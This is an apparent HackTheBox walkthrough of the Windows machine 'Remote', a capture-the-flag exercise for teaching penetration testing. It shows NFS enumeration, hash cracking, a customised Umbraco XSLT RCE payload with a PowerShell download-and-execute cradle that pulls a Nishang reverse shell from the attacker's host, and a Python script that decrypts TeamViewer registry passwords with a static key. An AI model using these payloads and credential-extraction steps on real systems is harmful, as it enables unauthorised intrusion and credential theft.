To own Remote, I’ll need to find a hash in a config file over NFS, crack the hash, and use it to exploit a Umbraco CMS system. From there, I’ll find TeamView Server running, and find where it stores credentials in the registry. After extracting the bytes, I’ll write a script to decrypt them providing the administrator user’s credentials, and a shell over WinRM or PSExec.

Box Info

Name Remote Remote
Play on HackTheBox
Release Date 21 Mar 2020
Retire Date 05 Sep 2020
OS Windows Windows
Base Points Easy [20]
Rated Difficulty Rated difficulty for Remote
Radar Graph Radar chart for Remote
First Blood User 00:57:49enjloezz
First Blood Root 01:04:46qtc
Creator mrb3n



nmap shows a bunch of open ports:

root@kali# nmap -p- --min-rate 10000 -oA scans/nmap-alltcp
Starting Nmap 7.80 ( ) at 2020-03-21 15:01 EDT
Warning: giving up on port because retransmission cap hit (10).
Nmap scan report for
Host is up (0.016s latency).
Not shown: 65192 closed ports, 327 filtered ports
21/tcp    open  ftp
80/tcp    open  http
111/tcp   open  rpcbind
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
2049/tcp  open  nfs
5985/tcp  open  wsman
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49678/tcp open  unknown
49679/tcp open  unknown
49680/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 13.43 seconds

root@kali# nmap -sV -sC -p 21,80,111,135,139,445,2049,5985,47001 -oA scans/nmap-tcpscripts
Starting Nmap 7.80 ( ) at 2020-03-21 15:03 EDT
Nmap scan report for
Host is up (0.015s latency).

21/tcp    open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp   open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
2049/tcp  open  mountd        1-3 (RPC #100005)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 2m38s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-03-22T18:57:11
|_  start_date: N/A

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 21.10 seconds

That’s a lot of Windows ports, as well as HTTP, FTP, and NSF.

Website - TCP 80


The website is for Acme Widgets:

There are many pages on the site, but none that are particularly interesting.


There are a few references to Umbraco, a content management system (CMS). There’s a CSS link, a Javascript link, and text references near the blog posts:


Some quick Googling reveals that the admin login page is located at /Umbraco, which works here, presented a login prompt:


I tried some default creds, but didn’t make any progress.


Some quick research found this authenticated code execution vulnerability in Umbraco. If I find creds, I’ll come back to this.

FTP - TCP 21

FTP is open and allows anonymous access. I connected, but the root is empty. I also tested writing, but was didn’t have permission.

SMB - TCP 445

Typical checks on SMB showed no access to any shares:

root@kali# smbclient -N -L //
session setup failed: NT_STATUS_ACCESS_DENIED

root@kali# smbmap -H
[+] Finding open SMB ports....
[!] Authentication error on
[!] Authentication error on

NSF - TCP 2049

NFS is super uncommon on HTB machines, and thus, its being open is definitely worth some attention. showmount will give the paths that can be mounted and who can mount them. In this case, it’s named site_backups and everyone can access:

root@kali# showmount -e
Export list for
/site_backups (everyone)

I’ll mount this to /mnt on my host:

root@kali# mount -t nfs /mnt/

Now I have access to what looks like a backup of the web directory:

root@kali:/mnt# ls
App_Browsers  App_Data  App_Plugins  aspnet_client  bin  Config  css  default.aspx  Global.asax  Media  scripts  Umbraco  Umbraco_Client  Views  Web.config    

Poking around a bit, there’s an .sdf file in /App_Data called Umbraco.sdf. .sdf files are standard database format files. I don’t know a great way to parse these files, but strings shows some interesting results right at the top of the file:

root@kali:/mnt/App_Data# strings Umbraco.sdf | head

I can guess that there’s an admin account, with email admin@htb.local, and password hash b8be16afba8c314ad33d812f22a04991b90e2aaa that is a SHA1. There’s another user, smith, who has a password which is stored using HMACSHA256.

Shell as IIS

Access Umbraco Admin Panel

Crack Admin Hash

I dropped the admin SHA1 into a file, and ran hashcat to crack it:

root@kali# cat admin.sha1 

root@kali# hashcat -m 100 admin.sha1 /usr/share/wordlists/rockyou.txt --force                                                                                            hashcat (v5.1.0) starting...                                                                         
Session..........: hashcat
Status...........: Cracked
Hash.Type........: SHA1
Hash.Target......: b8be16afba8c314ad33d812f22a04991b90e2aaa                                          
Time.Started.....: Sat Mar 21 20:00:46 2020 (4 secs)                                                 
Time.Estimated...: Sat Mar 21 20:00:50 2020 (0 secs)                                                 
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)                                           
Guess.Queue......: 1/1 (100.00%)                  
Speed.#1.........:  2573.2 kH/s (0.38ms) @ Accel:1024 Loops:1 Thr:1 Vec:8                            
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts                                        
Progress.........: 9824256/14344385 (68.49%)      
Rejected.........: 0/9824256 (0.00%)                                                                 
Restore.Point....: 9821184/14344385 (68.47%)                                                                                                                                                              
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1                            
Candidates.#1....: badco192 -> bacninh_kc         
Started: Sat Mar 21 20:00:34 2020            
Stopped: Sat Mar 21 20:00:51 2020  

It cracks to “baconandcheese”.


The username admin doesn’t work, but the username “admin@htb.local” does.



Typically with a CMS I would look to upload a webshell. In this case, since I already have a potential RCE exploit, I’ll start there.

Customize Exploit

The exploit requires some customization to get it working, all of this goes in this section:

# Execute a calc for the PoC
payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
xmlns:xsl="" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
{ string cmd = ""; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
 proc.StartInfo.FileName = "calc.exe"; proc.StartInfo.Arguments = cmd;\
 proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
 proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
 </msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\
 </xsl:template> </xsl:stylesheet> ';

login = "XXXX";
host = "XXXX";

I’ll update the login to “admin@htb.local”, the password to “baconandcheese”, and the host to “” (originally I just had the IP, but that leads to an error).

I’ll also need to update the payload. It currently launched calc. Obviously I want to change that. I’ll focus on this section (with some added whitespace):

{ string cmd = ""; 
 System.Diagnostics.Process proc = new System.Diagnostics.Process();
 proc.StartInfo.FileName = "calc.exe"; 
 proc.StartInfo.Arguments = cmd;
 proc.StartInfo.UseShellExecute = false; 
 proc.StartInfo.RedirectStandardOutput = true;
 string output = proc.StandardOutput.ReadToEnd(); 
 return output; }

I find with things like this that I have the most luck if I run cmd.exe. So I’ll change proc.StartInfo.FileName = "calc.exe" to proc.StartInfo.FileName = "cmd.exe". Just after that, there’s proc.StartInfo.Arguments = cmd;. The variable cmd is set right at the beginning, currently to the empty string.

Ping POC

As a proof of concept, I’ll set cmd = "/c ping". On running, it prints some messages:

root@kali# python 

Then there are pings in tcpdump:

root@kali# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
16:53:30.589383 IP > ICMP echo request, id 1, seq 1, length 40
16:53:30.589462 IP > ICMP echo reply, id 1, seq 1, length 40
16:53:31.604147 IP > ICMP echo request, id 1, seq 2, length 40
16:53:31.604261 IP > ICMP echo reply, id 1, seq 2, length 40
16:53:32.619998 IP > ICMP echo request, id 1, seq 3, length 40
16:53:32.620023 IP > ICMP echo reply, id 1, seq 3, length 40
16:53:33.634646 IP > ICMP echo request, id 1, seq 4, length 40
16:53:33.634668 IP > ICMP echo reply, id 1, seq 4, length 40


I’ll update the payload with the PowerShell loader that will download from my host a Nishang PowerShell reverse shell and run it. The payload will be:

string cmd = "/c powershell -c iex(new-object net.webclient).downloadstring('')";

To break that down, the target exe is still cmd.exe. It will run with /c, so running the command that follow. PowerShell will start, with -c to issue commands that follow. iex (shorthand for Invoke-Expression) will run whatever string comes back from the rest of the line. The rest of the line will reach out to my host, and download shell.ps1 (which is then passed to iex).

I’ll grab a copy of Invoke-PowerShellTcp.ps1 (and save it as shell.ps1), and add a line at the bottom to execute the shell:

Invoke-PowerShellTcp -Reverse -IPAddress -Port 443

Without this line, the harness would load the reverse shell functions into the PowerShell session, and but not use them. Now it will load the functions and then invoke the one I want to call back to me.

I’ll use three windows:

  1. Run python
  2. A Python web server hosting shell.ps1.
  3. A nc listener (with rlwrap for shell arrow keys) to catch the reverse shell.

Run the exploit (it hangs after []):

root@kali# python 

In the web server, I see the GET for shell.ps1:

root@kali# python3 -m http.server 80
Serving HTTP on port 80 ( ... - - [21/Mar/2020 20:33:14] "GET /shell.ps1 HTTP/1.1" 200 -

Then a second later the shell comes back:

root@kali# rlwrap nc -lvnp 443
Ncat: Version 7.80 ( )
Ncat: Listening on :::443
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
Windows PowerShell running as user REMOTE$ on REMOTE
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\windows\system32\inetsrv>whoami
iis apppool\defaultapppool


With this shell I can grab user.txt. I’m currently running as a user that doesn’t have a desktop, and in fact, there are no non-admin users on this machine:

PS C:\users> dir

    Directory: C:\users

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        2/19/2020   3:12 PM                .NET v2.0
d-----        2/19/2020   3:12 PM                .NET v2.0 Classic
d-----        2/19/2020   3:12 PM                .NET v4.5
d-----        2/19/2020   3:12 PM                .NET v4.5 Classic
d-----        3/22/2020   4:53 PM                Administrator
d-----        2/19/2020   3:12 PM                Classic .NET AppPool
d-r---        2/20/2020   2:42 AM                Public 

However, in the Public folder, there’s the flag:

PS C:\users\Public> dir

    Directory: C:\users\Public

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---        2/19/2020   3:03 PM                Documents
d-r---        9/15/2018   3:19 AM                Downloads
d-r---        9/15/2018   3:19 AM                Music
d-r---        9/15/2018   3:19 AM                Pictures
d-r---        9/15/2018   3:19 AM                Videos
-ar---        3/22/2020   4:54 PM             34 user.txt

PS C:\users\Public> type user.txt

Priv: IIS –> administrator


Looking at the tasklist, one application jumps out as particularly interesting:

PS C:\windows\system32\inetsrv>cd \ 
PS C:\> tasklist

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0                            0          8 K
System                           4                            0        144 K
Registry                       104                            0     16,084 K
smss.exe                       300                            0      1,184 K
csrss.exe                      404                            0      5,464 K
wininit.exe                    484                            0      6,952 K
csrss.exe                      492                            1      4,752 K
winlogon.exe                   556                            1     14,416 K
services.exe                   632                            0      9,644 K
lsass.exe                      656                            0     14,028 K
TeamViewer_Service.exe        3108                            0     18,392 K

TeamViewer is a remote management software. Since this is the server, it will have credentials used for others to connect into it.

I can get the version by looking in the \Program Files (x86)\TeamViewer:

PS C:\Program Files (x86)\TeamViewer> ls

    Directory: C:\Program Files (x86)\TeamViewer

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        2/27/2020  10:35 AM                Version7 

There is a Metasploit module post/windows/gather/credentials/teamviewer_passwords. But since I like to avoid Meterpreter to see what’s going on under the hood, I’ll take a look at the source. There’s a list of registry keys, and the one that looks like version 7 is HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version7. For each location, it looks for the following values:

  • OptionsPasswordAES
  • SecurityPasswordAES
  • SecurityPasswordExported
  • ServerPasswordAES
  • ProxyPasswordAES
  • LicenseKeyAES

I can take a look at that registry key:

PS C:\> cd HKLM:\software\wow6432node\teamviewer\version7
PS HKLM:\software\wow6432node\teamviewer\version7> get-itemproperty -path .

StartMenuGroup            : TeamViewer 7
InstallationDate          : 2020-02-20
InstallationDirectory     : C:\Program Files (x86)\TeamViewer\Version7
Always_Online             : 1
Security_ActivateDirectIn : 0
Version                   : 7.0.43148
ClientIC                  : 301094961
PK                        : {191, 173, 42, 237...}
SK                        : {248, 35, 152, 56...}
LastMACUsed               : {, 005056B99509}
MIDInitiativeGUID         : {514ed376-a4ee-4507-a28b-484604ed0ba0}
MIDVersion                : 1
ClientID                  : 1769137322
CUse                      : 1
LastUpdateCheck           : 1584564540
UsageEnvironmentBackup    : 1
SecurityPasswordAES       : {255, 155, 28, 115...}
MultiPwdMgmtIDs           : {admin}
MultiPwdMgmtPWDs          : {357BC4C8F33160682B01AE2D1C987C3FE2BAE09455B94A1919C4CD4984593A77}
Security_PasswordStrength : 3
PSPath                    : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\wow6432node\teamviewer\vers
PSParentPath              : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\wow6432node\teamviewer
PSChildName               : version7
PSDrive                   : HKLM
PSProvider                : Microsoft.PowerShell.Core\Registry

SecurityPasswordAES is there from the list above. It just dumps a list of integers:

PS HKLM:\software\wow6432node\teamviewer\version7> (get-itemproperty -path .).SecurityPasswordAES

Decrypt Password

Looking a bit more at the Metasploit code, there’s a decrypt function:

def decrypt(encrypted_data)
    password = ""
    return password unless encrypted_data

    password = ""

    key = "\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
    iv  = "\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
    aes ="AES-128-CBC")
        aes.key = key
        aes.iv = iv
        plaintext = aes.update(encrypted_data)
        password = Rex::Text.to_ascii(plaintext, 'utf-16le')
        if plaintext.empty?
            return nil
    rescue OpenSSL::Cipher::CipherError => e
        print_error("Unable to decrypt the data. Exception: #{e}")

It’s using AES128 in CBC mode with a static key and iv. I can easily recreate this in a few lines of Python:

#!/usr/bin/env python3

from Crypto.Cipher import AES

key = b"\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
iv = b"\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
ciphertext = bytes([255, 155, 28, 115, 214, 107, 206, 49, 172, 65, 62, 174, 
                    19, 27, 70, 79, 88, 47, 108, 226, 209, 225, 243, 218, 
                    126, 141, 55, 107, 38, 57, 78, 91])

aes =, AES.MODE_CBC, IV=iv)
password = aes.decrypt(ciphertext).decode("utf-16").rstrip("\x00")

print(f"[+] Found password: {password}")

Running it finds a password:

root@kali# python3 
[+] Found password: !R3m0te!


That password happens to work for the administrator account on Remote:

root@kali# crackmapexec smb -u administrator -p '!R3m0te!'
SMB    445    REMOTE           [*] Windows 10.0 Build 17763 x64 (name:REMOTE) (domain:REMOTE) (signing:False) (SMBv1:False)
SMB    445    REMOTE           [+] REMOTE\administrator:!R3m0te! (Pwn3d!)

The (Pwn3d!) shows this is an admin account, so I should be able to get a shell.

I can use Evil-WinRM:

root@kali# evil-winrm -u administrator -p '!R3m0te!' -i

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\desktop> whoami

I could also use

root@kali# 'administrator:!R3m0te!@'
Impacket v0.9.21.dev1+20200313.160519.0056b61c - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on
[*] Found writable share ADMIN$
[*] Uploading file ErcBEqYW.exe
[*] Opening SVCManager on
[*] Creating service amHC on
[*] Starting service amHC.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

nt authority\system


root@kali# 'administrator:!R3m0te!@'
Impacket v0.9.21.dev1+20200313.160519.0056b61c - Copyright 2020 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands

From any of these, I can grab the flag:

*Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt